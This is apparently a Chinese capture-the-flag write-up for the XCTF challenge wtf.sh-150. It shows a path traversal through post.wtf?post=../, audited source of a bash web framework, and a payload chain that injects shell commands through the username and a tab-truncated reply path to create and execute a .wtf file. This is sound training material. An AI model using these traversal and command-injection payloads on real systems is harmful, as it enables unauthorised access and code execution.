wtf.sh-150

  • 题目描述

    没有描述

  • 解题过程

    打开之后是个论坛,有注册和登录功能点

    抓包发现,登陆成功后会设置cookie

    <script>document.cookie = 'USERNAME=111; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script>
    <script>document.cookie = 'TOKEN=t55Hum7I9JkaDhm/uaRpsSJCtHfa00kduB69G8EiNhpO4o70O4GLGKcMnE6S/CNyHDNINzCAD36/q7lm0jXE2w==; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script>

    尝试了修改cookie里的user字段,但是有token绑定,会被检测到

    • 登录

      尝试sql注入 x

    • 注册

      登陆后可以看到自己的id,尝试了sql注入, x

      尝试了覆盖注册, x

      尝试了帖子的url里post参数的注入,x

    • 发布帖子/回复

      ssti,x

    • 用dirsearch扫描了一遍,没什么可利用的信息

    没什么思路,去看了大佬的wp,发现是路径穿越

    访问url/post.wtf?post=../,会返回目录下的文件内容,搜索flag,找到关键代码

    $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
    $ then
    $ local username=$(head -n 1 users/${URL_PARAMS['user']});
    $ echo "<h3>${username}'s posts:</h3>";
    $ echo "<ol>";
    $ get_users_posts "${username}" | while read -r post; do
    $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
    $ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
    $ done
    $ echo "</ol>"; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
    $ then
    $ get_flag1
    $ fi
    $ fi

    分析这段代码:

    • 从上面一段可以知道存在路径users/,因为这是访问的../路径,那么文件路径为../users/,该路径下存储了用户的帖子
    • 从下面一段可以知道,如果cookie的username字段和登录后的用户名都为admin,那么就会拿到flag

    尝试访问../users 。。。里面全是sqlmap的payload

    找到admin,拿到token

    但登录上在profile里只拿到了一半flag = =

    经过上边的尝试,就只有目录遍历这一个漏洞点,猜测需要继续利用这个漏洞,但是找不到利用方法。。。继续参考

    发现需要在../路径下寻找wtf相关的代码进行审计分析,

    max_page_include_depth=64
    page_include_depth=0
    function include_page {
    # include_page pathname
    local pathname=$1
    local cmd=""
    [[ ${pathname(-4)} = '.wtf' ]];
    local can_execute=$;
    page_include_depth=$(($page_include_depth+1))
    if [[ $page_include_depth -lt $max_page_include_depth ]]
    then
    local line;
    while read -r line; do
    # check if we're in a script line or not ($ at the beginning implies script line)
    # also, our extension needs to be .wtf
    [[ $ = ${line01} && ${can_execute} = 0 ]];
    is_script=$;
    # execute the line.
    if [[ $is_script = 0 ]]
    then
    # 如果可执行
    # 添加到cmd中
    cmd+=$'n'${line#$};
    # cmd+=('n' + 从文件中读取一行,并删除$)
    else
    # 如果不可执行
    # 如果cmd不为空
    if [[ -n $cmd ]]
    then
    # 执行cmd
    eval "$cmd" || log "Error during execution of ${cmd}";
    cmd= ""
    fi
    # 打印不可执行的语句
    echo $line
    fi
    done
    ${pathname}
    else
    echo pMax include depth exceeded!p
    fi
    } function reply {
    local post_id=$1;
    local username=$2;
    local text=$3;
    local hashed=$(hash_username "${username}");
    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
    next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id});
    # 这里可以进行文件上传,类似php的00截断,但这里用的是%09 echo "${username}" > "${next_file}";
    echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
    echo "${text}" >> "${next_file}";
    # add post this is in reply to to posts cache
    echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
    }

    emmmmm,shell脚本看不太懂,花了点时间去看了下语法,写了一点注释

    通过审计,知道两个可利用的点:

    • 符合.wtf文件中符合$开头的语句会被执行
    • 回复帖子时,可以通过构造post_id创建.wtf文件,并且把username写入其中(这里用username的原因是会作为文件开头,可以把$写到开头)

    构造payload:

    • 1

      username=${find,/,-iname,get_flag2}(username中不能有空格)

      访问/reply.wtf?post=../cmd.wtf%09

      访问/cmd.wtf

      看到命令执行的结果:/usr/bin/get_flag2 RE: asdasd

    • 2

      找到flag2文件后,可以直接利用echo "${username}" > "${next_file}";,把文件直接写到cmd.wtf

      username=$/usr/bin/get_flag2

      访问/reply.wtf?post=../cmd.wtf%09

      访问/cmd.wtf

      拿到第二个flag

感觉比前面的题难了不少,综合利用到的知识点多了一些,但同时利用多个点进行攻击的方式很好玩!!!

XCTF-wtf.sh-150的更多相关文章

  1. 攻防世界(XCTF)WEB(进阶区)write up(三)

    挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...

  2. 基于canvas的二维码邀请函生成插件

    去年是最忙碌的一年,实在没时间写博客了,看着互联网行业中一个又一个人的倒下,奉劝大家,健康要放在首位,保重身体.好了,言归正传,这是17年的第一篇博文,话说这天又是产品同学跑过来问我说:hi,lenn ...

  3. wx.ScrolledWindow wx.PseudoDC

    # encoding: utf-8 import logging import random import wx import wx.lib.inspection def GetMyBitmap(): ...

  4. 记录一道神仙CTF-wtf.sh-150

    记录一道完全超出我能力的CTF神仙题(不愧是世界级比赛的真题orz),此题我仅解出了第一部分的flag,第二部分则参考了WP.不得不说这种题目解出来还是很有自豪感的嘛~  直接看题! 0x01 第一部 ...

  5. linux执行sh脚本文件命令

    linux执行sh脚本文件命令 很多时候需要多个命令来完成一项工作,而这个工作又常常是重复的,这个时候我们自然会想到将这些命令写成sh脚本,下次执行下这个脚本一切就都搞定了,下面就是发布代码的一个脚本 ...

  6. redhat--nagios插件--check_traffic.sh

    ****在被监控主机安装nrpe**** (1)在被监控主机上,增加用户和密码 useradd nagios passwd nagios (2)安装nagios插件 tar zxf nagios-pl ...

  7. server宕机监控、检測、报警程序(139绑定手机短信报警)monitor_down.sh

    宕机监控报警程序 一.   需求来源 宕机对运维人员来说,最痛苦了.怎样检測一台server是否还在正常执行,假设该server宕机,怎样在第一时间监測到并通知一线运维人员进行维护,最大化降低损失. ...

  8. [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)

    ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...

  9. tomcat7的catalina.sh配置说明

    捞财宝项目8G内存tomcat7的配置JAVA_OPTS="-Xms1024m -Xmx2048m -XX:PermSize=128M -XX:MaxNewSize=2048M  -XX:M ...

  10. ./run.sh --indir examples/demo/ --outdir examples/results/ --vis

    (AlphaPose20180911) luo@luo-ThinkPad-W540:AlphaPose$ ./run.sh --indir examples/demo/ --outdir exampl ...

随机推荐

  1. Fastjson1.2.24RCE漏洞复现

    Fastjson1.2.24RCE漏洞复现 环境搭建 这里用的Vulhub靶场 cd /vulhub/fastjson/1.2.24-rce docker-compose up -d 报错 ERROR ...

  2. 比较String 字符串的字节大小

    package com.ittx.edi.erp;import java.io.File;import java.io.FileWriter;import java.io.IOException;pu ...

  3. python爬取三国演义的所有章节储存到本地文件中

    #爬取三国演义的全部章节 2 3 import urllib 4 import urllib.request 5 import urllib.parse 6 from lxml import etre ...

  4. ch1_6_7求解数字排序问题

    import java.util.Arrays; import java.util.Comparator; import java.util.HashMap; import java.util.Sca ...

  5. var=value?export前后差在哪?-- Shell十三问<第五问>

    var=value?export前后差在哪?-- Shell十三问<第五问> 这次让我们暂时丢开 command line ,先来了解一下 bash 变量(variable)吧.所谓的 变 ...

  6. C++并发与多线程学习笔记--多线程数据共享问题

    创建和等待多个线程 数据和共享问题分析 只读的数据 有读有写 其他案例 共享数据的保护案例代码 创建和等待多个线程 服务端后台开发就需要多个线程执行不同的任务.不同的线程执行不同任务,并返回执行结果. ...

  7. Java利用线程工厂监控线程池

    目录 ThreadFactory 监控线程池 扩展线程池 扩展线程池示例 优化线程池大小 线程池死锁 线程池异常信息捕获 ThreadFactory 线程池中的线程从哪里来呢?就是ThreadFoct ...

  8. Apache Hudi 0.8.0版本重磅发布

    1. 重点特性 1.1 Flink集成 自从Hudi 0.7.0版本支持Flink写入后,Hudi社区又进一步完善了Flink和Hudi的集成.包括重新设计性能更好.扩展性更好.基于Flink状态索引 ...

  9. Linux 查看GPU状态

    Linux 查看GPU状态 nvidia-smi nvidia-smi是NVIDIA自带的一个命令可以详细的展示显卡的运行状态. gpustat gpustat是github上开源的一个小工具,对于v ...

  10. 用递归求n皇后问题

    此问题是指在n*n的国际象棋棋盘上 ,放置n个皇后,使得这n个皇后均不在,同一行,同一列,同一对角线上,求出合法的方案的数目. 本题可以简单转化为就是求n的全排列中的数放在棋盘上使得这几组数,符合均不 ...